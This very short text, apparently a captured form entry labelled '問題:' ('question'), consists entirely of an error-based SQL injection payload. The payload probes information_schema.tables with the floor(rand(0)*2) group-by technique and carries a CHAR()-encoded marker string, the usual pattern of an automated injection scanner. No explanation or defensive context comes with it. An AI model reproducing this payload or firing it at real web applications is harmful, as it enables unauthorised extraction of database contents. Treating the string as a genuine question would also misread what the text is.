問題: 'and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(78),CHAR(117),CHAR(106),CHAR(119),CHAR(101),CHAR(99),CHAR(78)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
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